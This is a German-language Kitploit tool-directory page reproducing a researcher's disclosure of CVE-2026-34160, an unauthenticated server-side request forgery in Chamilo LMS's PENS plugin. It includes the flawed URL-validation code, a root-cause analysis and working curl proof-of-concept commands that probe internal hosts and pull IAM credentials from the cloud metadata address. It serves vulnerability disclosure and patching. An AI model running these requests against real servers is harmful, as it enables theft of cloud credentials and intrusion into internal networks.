Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34160 — Unauthentifizierter SSRF-Exploit für das PENS-Plugin von Chamilo LMS, der zwei Vektoren für den Zugriff auf interne Netzwerke und Cloud-Metadaten demonstriert, mit PoC und Ursachenanalyse. | Kitploit
Tools/GitHubGitHub/romain-deperne/cve-2026-34160
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

Unauthentifizierter SSRF-Exploit für das PENS-Plugin von Chamilo LMS, der zwei Vektoren für den Zugriff auf interne Netzwerke und Cloud-Metadaten demonstriert, mit PoC und Ursachenanalyse.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
23vor 1 MonatNoch nicht geprüft

CVE-2026-34160 — Nicht authentifizierte SSRF in Chamilo LMS über das PENS-Plugin (pens.php)

Schweregrad: Hoch (CVSS 8.6) CWE: CWE-918 (Server-Side Request Forgery) Betroffen: chamilo/chamilo-lms 2.0-RC.2 Behoben in: 2.0-RC.3 Sicherheitshinweis: GHSA-g2xj-4cch-j276 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160 Danksagung: Romain Deperne

TL;DR

Der Endpunkt des PENS-Plugins (Package Exchange Notification Services) public/plugin/Pens/pens.php ist ohne Authentifizierung erreichbar und akzeptiert benutzergesteuerte URLs sowohl für den Paketdownload als auch für Callback-Benachrichtigungen. Die URL-Validierungsfunktionen prüfen das Schema und die Anwesenheit eines Hosts, führen jedoch keine Filterung privater IP-Adressen durch, was eine nicht authentifizierte SSRF in interne Netzwerke und Cloud-Metadatendienste ermöglicht.

Analyse

Nach CVE-2026-33715 habe ich andere nicht authentifizierte Chamilo-Endpunkte mit netzwerkseitigen Auswirkungen untersucht. Das PENS-Plugin (public/plugin/Pens/) ruft Pakete von externen URLs ab und sendet Callbacks an externe Server, wodurch zwei SSRF-Angriffsflächen entstehen.

Ich habe PensProcessor.php gelesen, um die URL-Validierungslogik zu finden. isAllowedDownloadUrl() und isAllowedCallbackUrl() prüfen beide das Schema (http/https) und einen nicht leeren Host — und hören dort auf. Keine RFC-1918-Filterung, keine Loopback-Prüfung, keine Link-Local-Prüfung. Der Kommentar besagt sogar „returns true" nach der Host-Prüfung, was deutlich machte, dass dies ohne SSRF-Bedenken geschrieben wurde.

Was dies vom vorherigen Chamilo-CVE unterscheidet: Es gibt zwei unabhängige SSRF-Vektoren — einen für den Paketabruf (der Server lädt eine Datei von einer angreifergesteuerten URL herunter) und einen für die Callbacks (der Server sendet POST-Anfragen an angreifergesteuerte Endpunkte). Der Callback-Vektor ist besonders nützlich für die Exfiltration von Antworten interner Dienste, da der Server die PENS-Statusdaten an jede von Ihnen angegebene URL per POST sendet und Sie die Antwortverarbeitung kontrollieren.

Bei Cloud-Bereitstellungen ist der Metadaten-Endpunkt 169.254.169.254 über beide Vektoren erreichbar.

Betroffene Komponente

Datei: public/plugin/Pens/lib/PensProcessor.php

Zwei verschiedene SSRF-Vektoren:

Vektor 1 — Abruf der Paket-URL (Zeilen 376, 138):

private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← no private IP check
}

// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

Vektor 2 — Callback-SSRF (Zeile 318): Die Parameter receipt und alerts geben URLs an, an die der Server POST-Callbacks sendet — ebenfalls ohne Validierung.

Ursache

isAllowedDownloadUrl() und isAllowedCallbackUrl() prüfen lediglich, ob die URL ein http/https-Schema und einen nicht leeren Host besitzt. Private RFC-1918-Bereiche (10.x, 172.16.x, 192.168.x), Loopback (127.x), Link-Local (169.254.x — Cloud-Metadaten) und IPv6-Äquivalente werden alle akzeptiert.

PoC

# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

Auswirkung

  1. SSRF ins interne Netzwerk — nicht authentifizierte Prüfung interner Hosts und Dienste
  2. Exfiltration von Cloud-Metadaten — bei AWS/GCP/Azure-Bereitstellungen Abruf von IAM-Anmeldedaten über 169.254.169.254
  3. Callback-SSRF — Erzwingen, dass der Server POST-Anfragen an beliebige interne Endpunkte sendet

Hinweis: Dies unterscheidet sich von CVE-2022-27426 (SSRF in Social-/Links-Tools) — anderer Codepfad, anderes Plugin, nicht authentifiziert.

Zeitverlauf

  • Entdeckung: 2026-03-22
  • Gemeldet: GHSA-g2xj-4cch-j276 (privater Advisory)
  • CVE veröffentlicht: CVE-2026-34160
Tool herunterladen